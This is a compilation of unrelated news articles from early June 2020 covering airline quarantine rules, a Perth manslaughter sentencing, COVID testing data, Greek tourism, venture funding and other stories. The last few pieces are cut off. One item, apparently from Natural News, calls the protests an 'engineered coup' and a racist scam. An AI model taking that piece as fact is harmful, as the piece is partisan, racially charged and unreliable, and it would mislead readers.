His comments come amid criticism that British Airways did not attend a Thursday (4 June) roundtable meeting about the quarantine with home secretary Priti Patel and the travel industry.

Unite general secretary Len McCluskey said that the airlines workers, passengers, and shareholders should be told why the airlines management chose not to participate in the meeting.

READ MORE: Carmaker Bentley slashes up to 1,000 jobs

The government has opened the door and the entire UK aviation industry is meeting  airline carriers and airports  in an effort to find a way through this crisis, McCluskey said.

It is unbelievable and, frankly irresponsible, that BA would sit this out, he said.

Some 24 representatives from the aviation, maritime and rail industry attended the meeting, as did transport minister Kelly Tolhurst.

From 8 June, all passengers arriving in the UK from countries outside of the Common Travel Area, which includes Ireland, the Isle of Man and the Channel Islands, must self-isolate for 14 days.

Arguing that the UK was now past the peak of coronavirus cases, Patel told parliament on Wednesday (3 June) that the country was now more vulnerable to infections being brought in from abroad.

But the travel industry has argued that the quarantine period could be a killer blow during a period in which firms are already struggling.

A top executive at Swissport, the UKs biggest airport services company, said that firms in the sector would be unable to earn revenue as a result of the move.

Story continues

If you dent consumer confidence or dent the market in such a broad way, nobody buys tickets, aeroplanes don't fly, said Jason Holt.

READ MORE: Aston Martin and Lookers announce 2,000 job losses

Ryanair (RYA.L) chief executive Michael OLeary said the move would significantly reduce European visitors to the UK.

Airlines are already confronting an unprecedented crisis in coronavirus, and analysts have warned that many more may collapse under the weight of the collapse in demand from travellers.

IAG warned last month that it would be 2023 before things returned to normal.

It wont be before 2023 that we get back to the levels of flying that we saw last year in 2019, Walsh told the Transport Select Committee of the House of Commons.
A young woman who drove her car into a group of teenage boys, killing one of them, in an act of revenge has been handed an eight-year jail sentence.

Aya Hishmeh, 23, killed 17-year-old Jacob Cummins after she plowed into him and four of his friends with her Nissan Skyline in Canning Vale, in Perth's south, in December 2017.

Hishmeh believed the boys had slashed her sister's arm with a knife and hurt her brother during an earlier brawl outside of McDonalds Livingtson, which turned out to be false.

She was found not guilty of murder and four counts of attempted murder but found guilty of manslaughter, thee grievous bodily harm offences and a bodily harm offence during her trial in February.

The 23-year-old was sentenced to eight and half years in prison for her 'reckless and impulsive' behaviour at the Supreme Court of Western Australia in Perth on Friday.

Aya Hishmeh (pictured), 23, killed 17-year-old Jacob Cummins after she plowed into him and four of his friends with her Nissan Skyline in Canning Vale, in Perth's south, in December 2017

Justice Michael Corboy concluded that Hishmeh did not deliberately hit the boys, and actually wanted to stop last minute to scare them.

'Instead of controlling your emotions and ringing police to inform them of the location of the youths, you impulsively decided to accelerate towards them,' he said, according to WA Today.

'You made a decision in anger without regard to the danger to which you were exposing your victims. Clearly you should not have been driving at all given your heightened emotional state.'

Jacob's mother Aisling Earls provided a victim impact statement to the court, saying her life was 'changed forever' after the death of her only son.

'Ms Earls goes on to state that her son did not deserve to die, he was a 17-year-old boy, he did not deserve to have his whole life taken from him, from Ms Earls, from his family and from his friends,' Judge Corboy said, reading the statement.

Jacob Cummins (pictured) is seen at a school award ceremony before he was killed. Jacob's mother Aisling Earls said her life was 'changed forever' after the death of her only son

Hishmeh said she got out of the car to help after the crash (pictured) but she felt no pulse on Jacob

Hishmeh was sentenced to seven years in jail for Jacob's manslaughter and four years for the bodily harm charges.

But as the sentences will be served concurrently, Hishmeh will handed an eight and a half year sentence.

The 23-year-old has been in custody since the day of the incident in December 2017, making her eligible for parole in mid-2024.

During her trial in February, prosecutors alleged Hishmeh was speeding at 78 km/h in a 50 zone when she mounted a kerb and struck the teenagers on a footpath in an act of vengeance.

Hishmeh admitted she had been 'fuming' when she learnt her younger brother had been struck in the face during a brawl between rival groups of boys at a park and her sister had later been slashed on the arm.

But she claimed her anger had weakened by the time she got behind the wheel of her car with her then-fiance sitting in the front passenger seat.

Hishmeh accepted she had made the 'stupid mistake' to speed, but claimed she only wanted to threaten the boys, and tell them to stay away from her family.

Hishmeh poses for an Instagram photo (pictured). The 23-year-old will be eligible for parole in mid-2024

She repeatedly cried during the trial, including while viewing a video of her police interview and when she took the stand to testify.

Hishmeh said when she failed to find Jacob's pulse she panicked.

'I was in shock. I was just scared. I didn't know what was going on,' she testified.

During her police interview, Hishmeh said she was angry but would never hurt anyone, although she conceded she had been suspended from school for two separate acts of violence.

'I hate horror movies, I hate watching scenes of people getting killed or whatnot, and now it's real life,' she said.

A boy, who was aged 14 at the time and cannot be named, testified he had to jump out of the way to avoid the car.

'It just missed me. Then it went past me and then I yelled at the boys to move,' he said.

'It looked like it was coming straight for us.'

The jury was also shown confronting CCTV footage of the crash.

Hishmeh was remanded in custody and will face a sentencing hearing on April 17.

The maximum penalty for unlawful killing in Western Australia is life imprisonment.
A renowned agronomist and his team began a trial of rice planting in saline-alkali soil in north China's Inner Mongolia Autonomous Region on Thursday.



The trial focuses on growing rice on more than 66 hectares of saline-alkali land in Hangjin Banner. It is being conducted by a rice research center based in Qingdao and led by Yuan Longping, an agronomist known for developing the first hybrid rice strains.

The center experimented on 181 different strains of rice and eventually found a strain suitable to grow in the region's heavy saline-alkali soil. This laid the foundation for possible mass plantation.

Hangjin Banner has at its disposal 26,667 hectares of saline-alkali soil along the Yellow River, which has restricted agricultural benefits and hampered efforts to increase plantation and yields so far. Local authorities have joined hands with the center and plan to plant 6,667 hectares of seawater rice. The project is expected to be completed by 2025.

Rice is a staple food in China, as well as in many other Asian countries.

China has about 100 million hectares of saline-alkali soil, of which about one-fifth could be ameliorated to arable soil.
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Linkedin John Hadoulis and Helene Colliopoulou (Agence France-Presse) Athens  Fri, June 5, 2020 14:01 595 fc6853813033f564188675f8bdc63564 2 News greece,tourism,travel,coronavirus,COVID-19 Free

Greece is "more than just sea and sun," the country's PM said Thursday as a campaign was launched to resurrect its tourism-dependent economy from the coronavirus lockdown.

"We are opening Greece's windows and doors to the world gradually but with optimism," premier Kyriakos Mitsotakis said during the presentation.

"What we want to communicate is that Greek summer...is a state of mind," he said.

"The entire world probably needs this vacation more than ever before," the PM said.

"Enjoy your Greek summer, wherever you are," says the short ad, accompanied by an overhead shot of a grey-white beach and azure waters.

Mitsotakis said the message was designed to entice even travelers unable to visit this year, looking forward to 2021 and 2022.

The PM has already warned the country that the economy would fall into a "deep recession" this year before rebounding in 2021.

Provisional data released by Elstat earlier on Thursday showed how important it is to get the tourism sector back on its feet.

GDP fell by 1.6 percent in the first quarter of 2020 compared with the previous three months, and by 0.9 percent year-on-year, the data showed.

Greece has announced a 'bridge phase' between June 15 and 30, during which airports in Athens and Thessaloniki will receive regular passenger flights.

Other regional and island airports are to open on July 1.

Greece plans to impose a seven- to 14-day quarantine on travelers from only the hardest-hit areas as identified by the European Union Aviation Safety Agency (EASA).

Sample tests will also be carried out at entry points for epidemiological purposes however.

With 180 coronavirus deaths among 11 million residents, Greece seeks to market itself as a healthy holiday destination.

Read also: Greece suspends Qatar flights till mid-June after 12 test positive

'Strict' monitoring

Mitsotakis on Thursday vowed that his government would be "strict" in monitoring health protocols.

"Protecting public health, the safety of visitors and tourism workers, remains our first non-negotiable priority," Mitsotakis said.

On Tuesday, Athens said it was suspending flights to and from Qatar until June 15 after 12 people on a flight from Doha tested positive for COVID-19.

Earlier Thursday, Greek media reported that a first batch of nearly 190 tests among residents of the Cycladic islands, one of Greece's most popular destinations, had turned up negative.

The country desperately needs to attract visitors this year.

The latest finance ministry estimate suggests that for 2020 as a whole, business activity could drop by up to 13 percent from the level in 2019.

Between 2009 and 2018, Greece suffered its worse economic crisis in modern times, and had begun to slowly regain some of the lost ground before it was hit by the impact of coronavirus restrictions.

The country was shut down for six weeks, and the International Monetary Fund forecast in May that GDP would decline by 10 percent this year before growing by 5.5 percent in 2021.

Tourism accounts for around 20 percent of Greek gross domestic product (GDP), so it is crucial that visitors be attracted back to the nation's beaches and iconic island villages.

The government has earmarked around 24 billion euros ($27 billion) to support businesses through the pandemic, but has also given companies flexibility to juggle staff working hours.

Unions say this will lead to worker exploitation, a longstanding complaint during the Greek tourism season.

Hotel and other tourism workers on Thursday demonstrated in front of the labor and tourism ministries to highlight that many in the industry were living on jobless benefits of 400 euros.

They spray-painted a scarlet line in front of the labor ministry to represent a red carpet rolled out to employers.
STATEN ISLAND, N.Y.  The rate of positive results for Staten Islanders tested thus far for the coronavirus (COVID-19) continues to steadily decline, data shows.

As of Thursday afternoon, 27.24%, or 13,342 of the 48,965 residents examined since the pandemics outbreak have confirmed cases of the virus, according to the most recent data compiled by GitHub, which is linked to the city Heath Departments web site.

Last week, on May 28, of the 44,163 borough residents who had been tested to that point, 13,135, or 29.74%, displayed positive results.

The rate was considerably higher seven weeks ago.

On April 16, of the 19,174 borough residents checked, 9,108, or 47.5%, had confirmed cases of the virus.

The highest percentage of positive tests remains in two North Shore zip codes  10302 and 10303, and one that straddles the North and East shores  10304.

Collectively, slightly more than 30% of the residents examined for the coronavirus in those three zip codes have tested positive.

Still, that rate is lower than a week ago when it was 33.3%.

*** CLICK HERE FOR COMPLETE COVERAGE OF CORONAVIRUS IN NEW YORK ***

Zip code 10302, which includes Port Richmond and Elm Park, has retained the highest positive rate on Staten Island  33.1%, or 631 of 1,904 residents checked.

But fewer individuals have been tested in that zip code compared to all but one other in the borough.

Zip code 10303, which includes Mariners Harbor, continues to show the second highest rate of confirmed cases  30.6% - or 860 of the 2,810 residents checked.

Third highest was zip code 10304 with 1,372 of the 4,685 residents examined testing positive, or 29.3%.

Zip code 10305 now has the fourth highest percentage of confirmed cases.

Residents checked there were positive 27.8% of the time  1,224 of 4,408 individuals checked.

Zip code 10314 dropped down one slot to fifth, with a positive test rate of 27.7% - 2,612 of the 9,418 residents examined.

The greatest number of confirmed cases recorded remain in 10314, followed by 10312. They are two of the boroughs largest zip code areas.

Zip code 10314 includes such communities as Bulls Head, Castleton Corners, Graniteville, Meiers Corners, New Springville, Travis, Westerleigh and Willowbrook.

There were 1,487 confirmed cases in zip code 10312, which displayed a positive rate of 25.9% for the 5,737 residents examined.

Zip code 10312 includes Annadale, Arden Heights, Eltingville, Greenridge and Huguenot.

Positive test rates in the remaining zip codes ranged from 24.6% in zip code 10308 to 27.3% in zip code 10307.

Zip code 10308, whose residents had 629 confirmed cases in 2,561 tests, includes Great Kills, while zip code 10307, with 377 positive results in 1,382 tests, encompasses Tottenville.

Zip code 10307 has the lowest number of overall documented cases, as well as the fewest number of individuals examined.

Following zip codes 10314 and 10312, the highest number of total confirmed coronavirus cases have occurred in residents in zip codes 10306 (1,432 of 5,756 tested), 10304, 10305, 10301 (1,168 of 4,324), 10303, 10309 (835 of 3,248) and 10310 (715 of 2,732).

Additional data show the disease has exacted a steep toll on residents of zip codes 10314 and 10304.

As of Thursday afternoon, there had been 182 fatalities in zip code 10314 in which the decedent was a confirmed coronavirus case.

That figure marked an increase of seven over the past week.

The death total remained slightly lower  163  in zip code 10304, which saw an uptick of five fatalities from May 28.

The tally does not include probable coronavirus fatalities, which the city has also been tracking daily.

A death is classified as probable if the decedent was a city resident who had no known positive laboratory test for the coronavirus, but the death certificate lists COVID-19 or an equivalent as a cause of death.

Below, in descending order, are the number of confirmed coronavirus deaths for the remaining zip codes:
Bishop Mark Seitz takes the knee at a Black Lives Matter rally in El Paso, Texas, on June 1, 2020.

Courtesy of Fernie Ceniceros/Catholic Diocese of El Paso

On Monday, El Paso, Texas, Bishop Mark J. Seitz became the first Catholic bishop to publicly take the knee in symbolic recognition of racial injustice and police brutality in America.

Bishop Seitz led a gathering in silent prayer for 8 minutes and 46 seconds, the length of time that Minneapolis police officer Derek Chauvin held his knee on George Floyd's neck.

On Wednesday, Seitz received a call from Pope Francis, thanking him for showing speaking out and providing pastoral care during civil unrest in America.

"I told him I felt it was very important at this time to show our solidarity to those who are suffering," Seitz told the Catholic News Service.

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Pope Francis reached out this week to El Paso, Texas, Bishop Mark J. Seitz, the first Catholic bishop to publicly take the knee in symbolic recognition of racial injustice and police brutality in America.

On Monday, Bishop Seitz attended a rally with parishioners and other clergy in Memorial Park in El Paso's Manhattan Heights neighborhood.

Holding a sign that read "Black Lives Matter," he sank to his knees and closed his eyes, leading a silent prayer for 8 minutes and 46 seconds, the length of time that Minneapolis police officer Derek Chauvin held his knee on George Floyd's neck.

Bishop Seitz and other Catholic clergy take the knee during a Black Lives Matter rally in Memorial Park, on June 1, 2020.

Courtesy of Fernie Ceniceros/Catholic Diocese of El Paso

Memorial Park was the site of a clash between police and protesters on Sunday, but Monday's event concluded peacefully. Soon after, a photo of Seitz taking the knee was shared on social media.

In an interview with Catholic News Service, Seitz said he was nervous about making the gesture.

"It's difficult to know what a bishop should do," he said. "But I've had some excellent advisers  people and priests. I tried to listen to them, listened to my heart."

"Sometimes, you just have to take the leap into the unknown," he added.

Story continues

Seitz's faith was rewarded on Wednesday, when he received an unexpected phone call after leading Mass.

It was the Pope's secretary, who said the Holy Father was on the line and did Seitz want to speak to him in Italian or Spanish. Seitz chose Spanish, and was quickly connected to the spiritual leader of nearly one billion Catholics.

The pontiff wanted to congratulate him for speaking out, Seitz said, telling him he also called Archbishop Jose Gomez, the president of the U.S. bishops' conference, to convey support and solidarity during the civil unrest.

"I told him I felt it was very important at this time to show our solidarity to those who are suffering," Seitz said. "I told him I had just come from Mass at which I was praying for him and I always do. He thanked me and said that whenever we celebrate Mass, we are praying together, he where he is and me at the border."



Seitz told the Pope he was "very honored" to serve in El Paso.

Pope Francis leads the Pentecost Mass at the Vatican

Reuters

The call, Seitz told CNS, showed that the Pope "is aware of what's happening in this country and is anxious for the church to be responsive in a pastoral way to participate in the response, in solidarity with those who have experienced racial discrimination."

Seitz said two police officers also knelt with protesters in the park on Sunday.

"It helped diffuse some tension," he said. "There is something profoundly eucharistic about that and I'm so inspired by our young people. They are teaching us something."

Pope Francis spoke out against police brutality during his weekly Angelus prayer at the Vatican.



"My friends, we cannot tolerate or turn a blind eye to racism and exclusion in any form and yet claim to defend the sacredness of every human life," the Pope said. "At the same time, we have to recognize that the violence of recent nights is self-destructive and self-defeating. Nothing is gained by violence and so much is lost."



After the call, Seitz penned an essay for the National Catholic Reporter reaffirming his commitment to racial justice.

"Frankly, civil rights are not enough," he wrote. "That's the minimum and clearly, we're not there yet."

"We also need to be building a society with housing, and education and health care and just wages for all as well as the right to migrate," Seitz added. "And then we can begin to heal."



Fernando Ceniceros, a spokesperson for the El Paso Diocese, rejected the idea that Seitz was taking sides or playing politics.

"Bishop Seitz is very cognizant of the fact that everyone deserves prayer  every single one, " Ceniceros told Catholic News Agency. "And that while he is praying for everybody, this is one of the things that needs attention right now."

Shortly before Sunday's gathering, Seitz's home was burgled, the El Paso Times reported.

Police identified a suspect from surveillance footage and an arrest was made. Authorities were able to recover some of the items taken from Seitz's residence, including Catholic medals and holy relics.

Read the original article on Insider
By ANI

WASHINGTON: US President Donald Trump on Thursday thanked Iran for releasing the American hostage Michael White, saying that, 'it shows a deal is possible'.

"I just got off the phone with former American hostage Michael White, who is now in Zurich after being released from Iran. He will be on a U.S. plane shortly, and is coming home..." Trump tweeted.

"...to the United States! We have now brought more than 40 American hostages and detainees back home since I took office. Thank you to Iran, it shows a deal is possible!" he added.

On the issue of the prisoner swap, Foreign Minister of Iran Javad Zarif said that Iranian hostages held in--and on behalf of--the US should come home.

"Pleased that Dr Majid Taheri and Mr White will soon be joining their families. Prof. Sirous Asgari was happily reunited with his family on Weds. This can happen for all prisoners. No need for cherry-picking. Iranian hostages held in--and on behalf of--the US should come home," Zarif tweeted.

Zarif had said prisoner swap between the US and Iran has no problem and "we do not need holding negotiations", adding that prisoner swap will be made with coordination of the US' Interests Section in Tehran, IRNA reported.

On Wednesday, Iranian scientist Sirous Asgari who was arrested by the US Immigration and Customs Enforcement (ICE) was released.

This prisoner's swap comes at a time when the tensions between the two countries have escalated after Trump pursued a "maximum pressure" campaign against Tehran imposing sanctions. In 2018, Trump administration unilaterally withdrew from 2015 Iran nuclear deal known as (Joint Comprehensive Plan of Action) JCPOA, signed between US, UK, France, Russia, China, Germany and EU and Iran.
SoftBank's $100 million Opportunity Fund for minority-owned businesses is one of the first large funds created in response to nationwide protests sparked by the killing of George Floyd, an unarmed black man, at the hands of the Minneapolis police.

It has been praised as an important step in the right direction for venture capital, which has historically underrepresented minorities.

But the amount pledged is about 0.1% the amount of SoftBank's much larger Vision Fund, which the company started deploying in 2017. And that fund has invested in just one company with a sole founder who was black, and one other company with a black co-founder, over its three-year existence.

The Vision Fund has $98.6 billion in committed capital, and has deployed $75 billion into 88 companies, often in massive chunks of $100 million or more at a single shot. When the fund launched, its goal of $100 billion was more than the total amount raised by all US venture capital firms over the previous two years, according to data from the National Venture Capital Association.

The scale of the funding helped change the Silicon Valley start-up scene, encouraging new companies to pursue rapid growth before profits, raising start-up valuations and pressuring other venture investors to compete with larger investments. Subsequent markdowns in big bets like Uber, which received $7.7 billion and WeWork which got $18.5 billion led to a stunning $18 billion loss at the Vision Fund and pushed SoftBank Group to a record loss.

Diversity has not been a notable part of this vision.

The Vision Fund has backed only one firm with a sole founder who was black: Robert Reffkin, a former Goldman Sachs banker who founded real estate firm Compass. The fund invested $450 million in December 2017, and participated in subsequent funding rounds, including a $370 million round last year. It also invested in one other company, Zume Pizza, with a black co-founder, Julia Collins.

In addition, the Vision Fund has backed only one company -- Brandless -- where a female co-founder was also CEO. Less than a year after SoftBank's investment, Tina Sharkey stepped down as CEO amid reported tensions with SoftBank. Earlier this year, the company became the first startup backed by the Vision Fund to fail.

Overall, the Vision Fund has invested in five companies with a female founder or co-founder.

SoftBank's second Vision Fund, in which the company has committed $38 billion, has made six investments so far -- none of them into companies with a black or female founder.

When WeWork tried to go public in August of 2019, it came under fire for a board with no female representation. SoftBank was its biggest investor at the time.

SoftBank Group, Japan's second largest company by market capitalization, also lacks female and black representation on its own ten-person board of directors.

In an email to SoftBank employees this week, COO Marcelo Claure acknowledged that founders and entrepreneurs of color "face unfair barriers that white founders don't face." He said that SoftBank has an opportunity but, "we also know we need to do better internally."

The company did not offer further comment.

Some are optimistic that the newly announced Opportunity Fund is a step in the right direction. Arlan Hamilton, founder of investment firm Backstage Capital, says she's pleased to see SoftBank take action.

"I want to be clear," she says. "This is a win for SoftBank as much as it is for underrepresented founders."

Nihal Mehta, cofounder of investment firm Eniac Ventures, called SoftBank's new fund a strong gesture but said it needs to be more than just a PR stunt.

"100 million is now the largest single pool of capital available for underrepresented founders," he said in an email. He added, "of course, we'll believe it when we see companies funded from it."

SoftBank isn't the only firm launching a diversity focused fund. Andreessen Horowitz announced in a blog post that it is launching a fund designed to invest in underrepresented and underserved founders, starting with $2.2 million in donations from its partners. That starting amount accounts for less than 0.02% of its $12 billion in assets under management, but could grow over time.

Henri Pierre-Jacques, Managing Partner at Harlem Capital Partners, an early stage investment firm focused on investing in minority and women founders in the U.S., says these firms have been working on these funds for a while and appreciates the work Andreessen has done. "I do give them credit. They have not done enough but have done more than their peers."

WATCH: Invest in all forms of capital related to black Americnas, says former Fannie Mae CEO
The era of the solo practitioner carrying a doctor bag to a home visit is long over, but now even the larger private practices are threatened. Read more

Medicine will likely change forever in light of the COVID-19 pandemic. Telemedicine has become essential. For now, it is still probably safer to see your doctor for a routine visit via phone or video than in the office. Until there is a successful vaccine, non-validated treatments like hydroxychloroquine may become popular.

Hidden among these changes is the likely end of private practice.

The idea that medicine is a business does not resonate well. Physicians take an oath to apply, for benefit of the sick, all measures that are required, avoiding those twin traps of overtreatment and therapeutic nihilism. So, concepts like reimbursement and cost-benefit ratios run counterintuitive to a doctors mission.

Does it matter that private practice may not be viable in the future? The era of the solo practitioner carrying a doctor bag to a home visit is long over, but now even the larger private practices are threatened.

This is comparable to what many small businesses are going through. Large companies have been deemed essential, while mom-and-pop stores remain shuttered. Government grants and loans have gone to larger companies. Stores like Walmart benefit, while the clothing boutique down the street is barely hanging on. This is a similar kind of pressure that many medical practices are now feeling. Revenues are way down, patients are scared to go to the office, and most elective procedures have been canceled. Hospitals have also seen major declines in business, but like big businesses, they are protected. Large government grants were recently awarded to Philadelphia hospitals to help with the financial woes they have experienced.

This is a bittersweet prediction for me to make. I was in private practice for more than 20 years (with seven partners) before we sold our practice. The impetus for this decision was the changing reimbursement by Medicare and other insurances. There are benefits to being part of a large health system, such as enhanced income, access to more patients, and newer computer technology. But, I still miss the independence, lack of having a boss, and the ability to quickly respond to events that I no longer have as an employed physician in a large health system. My patients have verbalized how they miss the mom and pop warmth of our private practice. This is a warning that as practices become more corporate, there needs to be a continued focus to maintain the personal touch of medicine. That applies to all members of the team who work with patients.

It is sad that the era of private practice medicine may be ending. Many practices, even the largest ones, have seen income plummet during the pandemic. Some may not reopen, and others will struggle. Hospitals will absorb their practices and life will go on. In the scheme of loss and tragedy from COVID-19, this is a blip. Medical care that monitors and prevents illness will move forward in a post-pandemic world. Physicians and other providers will be compensated. As these changes occur lets hope that there is a continued emphasis on maintaining an individualistic streak, personal bond to patients, attention to detail, and that attentive and caring communication to patients endures.

David Becker is a frequent Inquirer contributor and a board-certified cardiologist with Chestnut Hill Temple Cardiology in Flourtown. He has been in practice for 25 years.
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Linkedin (Reuters) Paris  Fri, June 5, 2020 18:03 595 fc6853813033f564188675f8bdc7929c 2 Art & Culture art-gallery,Paris,coronavirus,COVID-19,59-Rivoli-Gallery Free

An art gallery in Paris has sought inspiration in ancient China to help it enforce social distancing, by providing hats with winged extensions for visitors.

The colorful papier-mache hats are modeled on headgear from the Song dynasty, which ruled China between 960 and 1279, with extensions just long enough to keep wearers the one metre (three feet) apart stipulated in France's COVID-19 regulations.

The first Song emperor is said to have ordered his officials to wear winged hats so that they could not gossip without being heard.

Read also: Romanian cobbler keeps people apart with size 75 shoes

"Back in the day, these were worn to prevent public officials from whispering," Dominique Pouzol, who designed the hats for the 59 Rivoli gallery, told Reuters. "And so, there was already then this notion of social distancing."

Some of Pouzol's creations carry a political message too, painted in the colors of the rainbow is a nod to gay rights.

"The hats are to protect us from COVID-19," Pouzol said. "But I said to myself perhaps they can also shield us from ...human viciousness, from small-minded people."
Source: Xinhua| 2020-06-05 19:03:58|Editor: huaxia

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TIANJIN, June 5 (Xinhua) -- Resting her phone on a stand and adjusting the angle of her lighting, 49-year-old Lyu Min started her livestreaming session -- her new daily routine during the epidemic.

Clad in a qipao, a classic one-piece and tight-fitting Chinese dress, Lyu started at 10 a.m. the livestreaming session to share with many handicraft lovers the art of making Chinese knots at her workshop in north China's Tianjin Municipality.

Lyu, an inheritor of the art of making Chinese knots listed as an intangible cultural heritage in Tianjin, became a livestreaming host during the COVID-19 epidemic.

"Though the sales of Chinese knots dropped a lot, I'm still optimistic to ride out the pressure brought by the outbreak. I can make full use of this period to improve my weaving techniques and revive this traditional handicraft online," she said.

Lyu is quite new to the world of livestreaming, having bought all the necessary equipment under her friends' guidance. "I practice livestreaming every day and record a huge number of educational videos," Lyu said.

As face-to-face interaction is currently impractical for many, Lyu said livestreaming classes can satisfy Chinese knots lovers' curiosity and their eagerness to learn this handicraft during this special period.

She intertwined the threads with each other while teaching her fans how to make different Chinese knots step by step.

"I have more than 200 followers right now. I see more and more Chinese knot enthusiasts on online platforms."

Lyu integrated the anti-epidemic spirit into her works, expressing the determination and confidence of the Chinese people to defeat the epidemic.

"I have a deep affection for Wuhan, where I exhibited my works in 2019. Chinese knots are popular among many local people, and I made lots of friends there," Lyu said.

She designed a unique kind of Chinese knot to express good wishes for the medics of Tianjin who were dispatched to aid Wuhan several months ago.

"I am using a length of colored cord and perseverance to keep this traditional art of Chinese knots alive online and help more people understand it," Lyu said. Enditem
A coronavirus-induced shift towards online shopping has brought about a changing of the guard in Australia's retail sector, with e-tailer Kogan now worth as much as Myer and David Jones combined.

Kogan has enjoyed a run of stellar trade during the coronavirus lockdown, with sales in April and May soaring 100 per cent and over 265,000 new customers signing on to shop. This comes in stark contrast to the broader retail sector's sales, which fell a record 17.7 per cent throughout April.

Myer and David Jones have been hit hard by the ongoing retail slump. Credit:Wayne Taylor

Kogan shares have climbed in parallel to the retailer's sales, tipping an all-time high of $13.00 on Friday and pushing Kogan's market capitalisation to over $1.2 billion for the first time. David Jones' market capitalisation is just under $1 billion while Myer's is around $217 million.

The company's founder and chief executive Ruslan Kogan believes the COVID-19 crisis has accelerated his long-held belief that e-commerce would be the future of Australian retail, warning bricks and mortar retailers could be left behind.
(Natural News) In an apparent act of capitulation, a group of more than 60 police officers in Fayetteville, North Carolina, knelt down before a mob of protesters who swarmed the streets in response to the George Floyd saga.

According to reports, the law enforcement unit waved the proverbial white flag in response to the crowd that had gathered on Murchison Road, and the whole thing was captured on video.

The footage quickly circulated online, garnering tens of thousands of likes and shares on platforms like Facebook and Twitter. The Fayetteville Police Department also tweeted that the move was meant to be a show of understanding concerning the pain that is in our community and our nation regarding equality.

[T]he #FayPD took a knee to show that we also stand for justice for everyone, the department added. We are committed to listening and treating everyone with dignity and respect. #LoveONE.

There was reportedly an initial confrontation when this line of police officers asked the mob in front of it to take a step back from the street. But things quickly changed after the officers knelt down, supposedly prompting both men and women alike to weep in the public right-of-way.

Men and women alike started crying and then cautiously came toward the police officers to shake their hands, claims someone by the name of Mimamo Monika who posted about the incident on Facebook.

These are moments that will go down into (sic) history and will be taught to future generations.

Listen below to The Health Ranger Report as Mike Adams, the Health Ranger, warns that the riots are part of an engineered coup to take down America:

Will police brutality now become even harsher against white people?

By bowing down before this mob, these police officers effectively communicated to the world that they, too, are guilty in oppressing black people like George Floyd  even if this is not actually the case. Some might even contend that this is actually a form of surrender to lawlessness.

Whatever the case may be, it is not something to be lauded, especially since the focus in all of this is exclusively about police brutality against black people, and black people only.

Even though unarmed white people are shot and even kneeled upon and killed by cops all the time  look up names like Zachary Hammond, Isaiah Murrieta-Golding, Dylan Noble, and Tony Timpa for a few examples that the media never told you about  the only people these marchers care about is black people, and that is a problem.

What would lend a whole lot more legitimacy to this movement is if its marchers and protesters were making their voices heard against police brutality period, and not just police brutality against blacks. By selectively supporting only blacks, it exposes itself as a racist, agenda-driven scam designed to deceive the masses into believing that only black people suffer from police brutality.

As pleasant a gesture as hugging and crying between law enforcement and civilians might appear on the surface, do not be fooled: This is about denigrating whitey and undermining the rule of law by excluding all cases of police brutality against whites from the conversation entirely.

It seems to be that people think police officers are all alike, is another take from a local commenter at the News & Observer who worries that just like how nobody is concerned about police brutality against other races besides black, the sentiment now seems to be that all police officers are bad.

But doesnt that seem to be like saying all black men are bad? she goes on to ask. Lumping a group of people under the same umbrella is a form of discrimination.

To keep up with the latest news about the rioters and looters who are destroying America, be sure to check out Collapse.news.

Sources for this article include:

NewsObserver.com

NaturalNews.com
Protolabs to Present at the William Blair & Company 40th Annual Growth Stock Conference

Protolabs (NYSE: PRLB) announced today that it will present at the William Blair & Company 40th Annual Growth Stock Conference. Protolabs' Victoria Holt, President and CEO, is scheduled to participate in a fireside chat on Wednesday, June 10, 2020 at 11:40 a.m. Eastern Time.

This is a virtual event. A live webcast of the presentation may be accessed by visiting the following link: http://www.wsw.com/webcast/blair56/prlb. Protolabs will offer a replay of the webcast on the investor relations section of its website, www.protolabs.com, for 30 days following the conference.







About Protolabs

Protolabs is the world's fastest digital manufacturing source for rapid prototyping and on-demand production. The technology-enabled company produces custom parts and assemblies in as fast as 1 day with automated 3D printing, CNC machining, sheet metal fabrication, and injection molding processes. Its digital approach to manufacturing enables accelerated time to market, reduces development and production costs, and minimizes risk throughout the product life cycle. Visit protolabs.com for more information.

View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005045/en/
FILE PHOTO: Rows of empty seats of an American Airline flight are seen, as coronavirus disease (COVID-19) disruption continues across the global industry, during a flight between Washington D.C. and Miami, in Washington, U.S.

By Tracy Rucinski

CHICAGO (Reuters) - Airlines from America to Australia are ramping up flights in June and July, boosting hopes for a pickup in tourist traffic even as bigger-spending business and global travel remains sluggish during the ongoing pandemic.

American Airlines <AAL.O> and United Airlines <UAL.O> each announced more flights to key U.S. business and leisure destinations where national parks and outdoor recreational spaces are reopening after months of lockdowns and travel curbs, sending their shares sharply higher.

Chicago-based United is adding more non-stop flights as well as servicing markets like Aspen, Colorado and Jackson Hole, Wyoming where it said "social distancing is a natural feature" in the scenic landscapes.

"Leisure travel has been the most missed activity during lockdown across age and income demographics, even more so than things like restaurants," said Jason Guggenheim of Boston Consulting Group, which has surveyed consumers in the United States and Europe.

"But it's going to take business travel longer to come back," he said, noting work-from-home models will remain in place for some time.

Even with the schedule increases, analysts expect overall U.S. airline capacity will remain drastically lower this year; and without business travel, yields will likely remain negative, they said. Yield is the revenue an airline makes per mile flown.

Australia's Qantas Airways Ltd <QAN.AX> and Air New Zealand Ltd <AIR.NZ> outlined plans on Thursday for significant boosts to domestic capacity, while Emirates and Etihad Airways are restarting transit flights through hub airports in Abu Dhabi and Dubai.

In Europe, Iberia - part of the International Consolidated Airlines Group <ICAG.L> - told customers on Thursday it is starting a schedule of regular flights from Spain in July as a first step to building back a full service.

(Reporting by Tracy Rucinski; Editing by Richard Chang)
Butler had also already been collecting items for care packages and food boxes to help Englewood cope with coronavirus stress. But the diapers stacked in her living room  she has collected 700 of them  will now be given to those affected by the looting, she said.
Uttar Pradesh Medical Education Minister Suresh Khanna will undergo a COVID-19 test after he visited a hospital in Meerut where positive patients are under treatment, officials said on Friday.

Khanna had on Monday paid a visit to Government Medical College in Meerut to inquire about the well being of the patients there and get their feedback about the treatment, Information Officer of the minister Jayendra Singh said.

On the advice of doctors, Khanna will give his sample for coronavirus testing on Saturday, he said.

Khanna, who also holds the portfolios of Finance and Parliamentary Affairs ministries, is currently under home quarantine.

In a tweet, the minister said he is healthy and has no symptoms of coronavirus.

Khanna said he is currently discharging his duties from home following "medical advice".
Robbie Lawlor was shot dead outside a house in Etna Drive, Ardoyne at around 11.50am on April 4

Irish gangland boss Robbie Lawlor was murdered at an appointment he had just set up in a supermarket car park, a court heard.

Detectives claimed the underworld figure met a suspect to exchange cash and arranged a follow-up call at a house in north Belfast.

